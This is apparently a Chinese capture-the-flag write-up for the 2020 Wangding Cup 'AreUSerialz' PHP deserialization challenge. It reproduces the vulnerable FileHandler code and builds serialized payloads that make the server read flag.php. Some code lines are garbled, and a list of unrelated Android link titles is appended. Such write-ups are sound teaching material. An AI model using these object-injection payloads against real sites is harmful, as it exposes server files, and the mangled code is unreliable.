[网鼎杯 2020 青龙组]AreUSerialz1

打开题目

熟悉的php,代码审计

可知这是一题反序列化类型的题目。

按照常规方法,首先,我们先将代码复制到本地进行序列化构造,

根据代码逻辑分析,咱们可知 function __construct() {

$op = "1";

$filename = "/tmp/tmpfile";

$content = "Hello World!";

$this->process();

}

_destruct()析构函数当对象被销毁时会被自动调用;所以当反序列化函数调用时,会触发这个

分析此方法内的代码逻辑,当我们需要它正确输出flag时此魔术方法调用后会接着正确调用此对象中的process()方法和output()方法,所以write()方法也可以删除不用看, protected $content属性也可直接删了。

<?

include("flag.php");

highlight_file(FILE);

class FileHandler {

protected $op;

protected $filename;

public function process() {

if($this->op == "1") {

$this->write();

} else if($this->op == "2") {

res = this->read();

this-\>output(res);

} else {

$this->output("Bad Hacker!");

}

}

private function read() {

$res = "";

if(isset($this->filename)) {

res = file_get_contents(this->filename);

}

return $res;

}

private function output($s) {

echo "[Result]: <br>";

echo $s;

}

function __destruct() {

if($this->op === "2")

$this->op = "1";

$this->process();

}

}

function is_valid($s) {

for(i = 0; i < strlen(s); i++)

if(!(ord(s\[i]) >= 32 && ord(s\[i]) <= 125))

return false;

return true;

}

if(isset($_GET{'str'})) {

str = (string)_GET['str'];

if(is_valid($str)) {

obj = unserialize(str);

}

}

根据构造函数is_valid($s) 可知,

s的值ASCII码范围得在32\<=s<=125;

再根据构造函数read()可知,

$filename值基本为flag.php

根据上述信息,构造第一个序列化值得到:

O:11:"FileHandler":3:{s:5:"*op";i:2;s:11:"*filename";s:8:"flag.php";s:10:"*content";N;}

php将属性类型换成public

<?php

include("flag.php");

highlight_file(FILE);

class FileHandler {

public $op=2;

public $filename="flag.php";

}

O:11:"FileHandler":2:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";

相关推荐
沐怡旸34 分钟前
【底层机制】【Android】深入理解UI体系与绘制机制
android·面试
啊森要自信36 分钟前
【GUI自动化测试】YAML 配置文件应用:从语法解析到 Python 读写
android·python·缓存·pytest·pip·dash
下位子2 小时前
『AI 编程』用 Codex 开发识字小帮手应用
android·openai·ai编程
Zender Han2 小时前
Flutter 实现人脸检测 — 使用 google_mlkit_face_detection
android·flutter·ios
君逸臣劳2 小时前
玩Android Flutter版本,通过项目了解Flutter项目快速搭建开发
android·flutter
叫我龙翔3 小时前
【MySQL】从零开始了解数据库开发 --- 基本查询
android·mysql·数据库开发
2501_916008893 小时前
iOS 26 性能分析深度指南 包含帧率、渲染、资源瓶颈与 KeyMob 协助策略
android·macos·ios·小程序·uni-app·cocoa·iphone
撩得Android一次心动5 小时前
Android adb 基础使用指南
android·adb
为java加瓦5 小时前
PHP MQTT 订阅服务:实时消息接收与数据库存储解决方案
android
怿星科技5 小时前
Android MVVM架构解析:现代开发的首选模式
android·架构